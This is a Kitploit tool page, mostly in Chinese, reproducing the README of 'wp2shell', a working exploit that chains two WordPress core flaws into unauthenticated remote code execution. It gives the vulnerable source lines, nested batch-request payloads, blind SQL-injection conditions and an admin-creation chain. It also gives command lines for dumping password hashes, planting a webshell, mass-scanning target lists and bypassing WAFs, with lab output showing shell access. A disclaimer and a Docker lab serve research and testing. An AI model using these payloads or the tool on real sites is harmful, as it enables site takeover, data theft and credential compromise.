Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心中的未认证 RCE | Kitploit
工具/GitHubGitHub/0xsha/wp2shell
密码破解漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队Payload 开发实验室与实践
GitHub0xsha/wp2shell

wp2shell

9630191个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心中的未认证 RCE

查看仓库

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心中的未认证 RCE

REST API 批量路由混淆(CVE-2026-63030)与 WP_Query author__not_in SQL 注入(CVE-2026-60137)→ 针对默认 WordPress 安装的预认证远程 代码执行。

由 Adam Kues(Assetnote / Searchlight Cyber)发现,披露于 2026-07-17。公告:GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。

漏洞链(未认证 RCE)WordPress 6.9.0 - 6.9.4 和 7.0.0 - 7.0.1
仅 SQLi(需要辅助插件/主题)6.8.0 - 6.8.5
不受影响≤ 6.8(针对批量混淆);6.9.5 / 7.0.2 / 7.1-beta2(已修补)
前置条件REST API 可达;无持久化对象缓存(Redis/Memcached);≥1 篇已发布文章
所需认证无
影响未认证 → 创建新管理员 → 代码执行(SQLi 还能转储管理员哈希)

演示

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

本仓库新增内容

  • 一个原创、仅依赖标准库的工具(wp2shell.py),将六个公开 PoC 的最佳部分整合到单个文件中,无 requests 依赖,也无残缺功能。
  • 完整的免破解 RCE,已在实验室中端到端验证:shell 在无凭据的情况下,通过单文章 UNION 混淆伪造一个假的 WP_Post,桥接定制器以创建全新管理员(POST /wp/v2/users),登录后植入令牌门控的 WebShell。SQLi 管理员哈希转储(read --preset users)作为第二条已验证路径保留。
  • 一个与版本无关的混淆检测器(block_cannot_read),用作主要的非破坏性 check。
  • 每条命令均具备生产级传输:自签名 TLS、自定义请求头、自定义 User-Agent、代理、重试、请求延迟。
  • 一条已验证的 6.8.x 辅助型 SQLi 路径(sqli),其他 PoC 均不具备。
  • 可复现的 Docker 实验室,外加按版本与数据库划分的可靠性矩阵,所有结果均在实验室中验证。
  • 针对新的 $wp$2y$ 密码哈希的 hashcat 模式(-m 35500)。
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

本工具借鉴的六个公开 PoC 未在此处内置;它们链接在致谢中。

以下所有内容均在本地 Docker 实验室中验证(见第 4 节);未在实验室中运行的声明均已标注。


1. 漏洞详情 - 代码深度剖析

该漏洞链组合了两个独立的缺陷。行号来自真实的 WordPress 6.9.4 源码(从 wordpress:6.9.4-apache 提取)。

缺陷 A - author__not_in SQL 注入(CVE-2026-60137)

wp-includes/class-wp-query.php,WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

字符串形式的 author__not_in 会跳过 is_array() 检查(2404);implode(',', (array)"…") 会原样返回它(2408),并直接拼接到 SQL(2409)中。其姊妹参数 author__in(2415)在 implode 内部 重新应用了 array_map('absint', …),因此是安全的——缺失的那个 array_map 就是漏洞所在。该值最终以 ... post_author NOT IN (<value>) ... 形式落地,因此 0) <sql>-- - 可闭合列表并附加 SQL。

困难之处在于传入字符串:REST 文章端点将 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)映射,但将其声明为整数数组 'type' => 'array',因此核心会强制转换/拒绝字符串:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

这就是为什么单独的缺陷 A 仅属于“辅助型”。缺陷 B 在 6.9+ 上让该字符串偷渡通过了验证。

缺陷 B - REST 批量路由混淆(CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php,serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

一个 WP_Error 子请求会被推入 $validation[](1752),但不会被推入 $matches[](1753 处的 continue 跳过了 1757),因此 $matches 会变短,$matches[$i](1841)持有的是下一个请求的处理程序。请求 i 携带自身的参数和自身(已通过的)验证结论,交由请求 i+1 的处理程序分发。

回归根源(经 6.8.3 → 6.9.4 差异验证): 在 6.8.3 中,循环针对每个请求都会推入 $matches[] = $match,坏路径会在第一个循环中被丢弃——数组保持对齐,不会失步。6.9.0 的重构引入了偏移。这正是 6.8.x 仅存在“SQLi”而 RCE 链始于 6.9.0 的原因。

文档记载的修复(6.9.5 / 7.0.2)

该补丁同样为错误条目追加 $matches[],加固了重入(re-entrancy),并使用 id 列表辅助函数解析 author__not_in。(测试时 6.9.5 尚未出现在 Docker Hub 上,因此这来自公告,而非实验室差异分析。)


2. 利用方法

2.1 双重路由混淆

批量模式仅允许 POST/PUT/PATCH/DELETE 子请求,但文章的 get_items(即 author_exclude 汇聚点)仅支持 GET,因此混淆被嵌套两次:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

/// 是失步启动器(任何被 wp_parse_url() 拒绝的路径都可用)。该工具还提供同一技巧的 --variant categories 版本。

2.2 在不使用 SQLi 的情况下检测混淆

一个非破坏性的、与版本无关的探针即可确认 CVE-2026-63030,即使 SQLi 汇聚点被对象缓存或 WAF 过滤:在一批 POST 子请求中,失步使得 POST /wp/v2/posts 由区块渲染器的权限回调来响应:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check 将此用作主要信号(以文章与分类的结构形态作为后备)。(检测技术:Hadrian / Icex0。)

2.3 从注入到数据(盲注)

该值位于 NOT IN (<value>) 内部,这是一个干净的布尔预言机:当且仅当 <cond> 成立时,0) AND (<cond>)-- - 返回行。提取方式是对 ASCII(SUBSTRING(COALESCE((expr),''),n,1)) 进行逐字符二分搜索(COALESCE 可防止 NULL 短路导致空读取)。

实验室说明 - 基于时间的注入需谨慎。 在默认安装下,朴素的 0) OR SLEEP(n)-- - 不会产生延迟:已发布的文章行首先满足查询并使 OR 短路。确认方式采用确定性的布尔差异;计时使用 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -。实测 0.01 秒对比 3.04 秒。

2.4 从注入到 Shell(RCE)- 免破解

实用的 RCE 无需密码、无需破解。shell 在无凭据的情况下即可运行完整漏洞链,全部已在实验室验证:

  1. 伪造 WP_Post 原语。 另一种混淆变体可到达一个干净、可 UNION 的查询:/wp/v2/posts/999999?orderby=none&per_page=500 按单文章条目模式进行校验(因此仅限集合的参数会不加检查地通过),随后失步到文章集合处理程序上。orderby=none 会移除尾部的 ORDER BY,而 per_page=500 使 WP_Query 保持全行模式,因此 UNION SELECT 可以作为一个伪造的 wp_posts 行存活。
  2. SQLi 到定制器的桥梁。 伪造 oembed_cache + customize_changeset(其 user_id 设为现有管理员的 ID,通过 UNION 读取)+ nav_menu_item 行。触发 oEmbed 可使定制器变更集以该管理员身份运行。
  3. 创建全新管理员。 在同一批请求中,携带 roles:["administrator"] 的 在借用的管理员上下文下即可成功,一个新的 管理员会出现在 中(已验证:新增了一行管理员记录)。

较旧的备选方案(--user/--password)。 read --preset users 转储 wp_users.user_pass(WordPress 6.9 的 $wp$2y$… = 基于 HMAC-SHA384 的 bcrypt;使用 hashcat -m 35500 破解),然后 shell --user/--password 使用恢复出的明文登录。这条路确实可行,但 bcrypt 使其速度很慢,因此上述创建管理员的漏洞链才是标准路径。

2.5 6.8.x “仅 SQLi”路径

6.8.x 存在缺陷 A 但没有缺陷 B,且核心会将 author_exclude 强制转换为整数数组,因此只有通过向 WP_Query 传递原始字符串的辅助插件/主题才能触达该 SQLi。sqli 子命令直接注入此类汇聚点(默认基于时间;使用 --true-contains 可实现快速布尔注入)。已在 6.8.3 上针对 lab/sqli-only 辅助插件演示。


3. 使用方法

3.1 统一 PoC - wp2shell.py

单个文件,Python 3.7+,仅依赖标准库。每条命令均具备生产级传输:--insecure(自签名 TLS)、-H 'K: V'(可重复)、--user-agent、--proxy、--retries、--delay。

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 实验室

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

实验室管理员为 admin / Admin!2345:明文仅供实验室演示认证后的 shell;真实攻击者会恢复哈希并破解它。


4. 版本与数据库矩阵 - 我们实际测试的内容

数据库范围仅限于 MySQL 和 MariaDB:WordPress 核心在生产环境中不支持其他引擎(没有 PostgreSQL/MSSQL 驱动;SQLite 仅能通过罕见的插件使用)。

每条命令均在实验室中实际演练: check(标记 block_cannot_read + 布尔 + 时间)、read(fingerprint / users / --query)、shell(免破解创建管理员 → 登录 → WebShell → uid=33(www-data),外加 --user/--password 和交互式 REPL)、sqli(布尔 + 时间)、scan(单个 URL + .txt + --json + --prove)、--variant categories payload、端点自动检测(/wp-json/ + ?rest_route=)以及传输标志。

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. 致谢

  • 漏洞研究与披露: Adam Kues - Assetnote / Searchlight Cyber(“wp2shell”),2026-07-17。
  • 安全公告: GHSA-ff9f-jf42-662q、GHSA-fpp7-x2x2-2mjf。分析文章:Rapid7、Beazley Labs、Hadrian(block_cannot_read 检测思路)、VulnCheck。
  • 技术致谢(每一项均在 wp2shell.py 中从头重新实现,未逐字复制任何代码):
    • attackercan/wp2shell-poc2 - 经过验证的嵌套双重混淆核心、盲注提取器、令牌门控 WebShell + REPL。
    • sergiointel/wp2shell-poc - 免破解的预认证创建管理员技术:通过单文章路由混淆伪造一个假的 WP_Post,驱动 oembed_cache + customize_changeset(user_id=admin)+ nav_menu_item 关系图,使定制器以现有管理员身份运行,然后 POST /wp/v2/users 创建新管理员。

法律声明 / 授权使用

仅用于授权的安全测试和教育 - 针对你拥有或获得书面授权测试的系统。本文所述的所有利用均在本地、一次性的 Docker 实验室中运行;WebShell 受令牌门控保护,默认命令无害。你须对自身的使用方式负责。

下载工具
POST /wp/v2/users
wp2_*
wp_users
  • 登录 + WebShell。 使用生成的凭据进行认证,通过 update.php?action=upload-plugin 上传令牌门控插件并执行命令。已验证:uid=33(www-data)。
  • WordPress数据库引擎路径check提取的数据
    6.9.4MariaDB 11批量混淆链✅ 完整 RCEadmin $wp$2y$… 哈希 + @@version
    7.0.1MariaDB 11批量混淆链✅ 完整 RCEadmin 哈希
    6.9.4MySQL 8.4批量混淆链✅ 完整 RCEadmin 哈希(payload 可移植)
    6.8.3MariaDB 11批量混淆链⛔ 207 但无混淆-(与公告一致)
    6.8.3MariaDB 11辅助型 sqli✅ CVE-2026-60137@@version、用户、数据库 - 布尔和基于时间
  • Icex0/wp2shell-poc - 我改编的该漏洞链实现(union_inject 单文章混淆、UnionSQLi、PreAuthAdminCreator)、block_cannot_read 标记检测器、NULL 安全的 COALESCE 提取,以及抗抖动计时。
  • Senanfurkan/wordpress-cve-2026-63030 - 版本指纹/分类以及结构化路由混淆测试。
  • Lutfifakee-Project/wp2shell - 大规模扫描。
  • NULL200OK/WP2Shell - JSON 报告。
  • ekomsSavior/wp2shell - 交互式用户体验(UX)灵感。
  • 哈希破解模式($wp$2y$ → hashcat -m 35500):hashpwn / hashcat。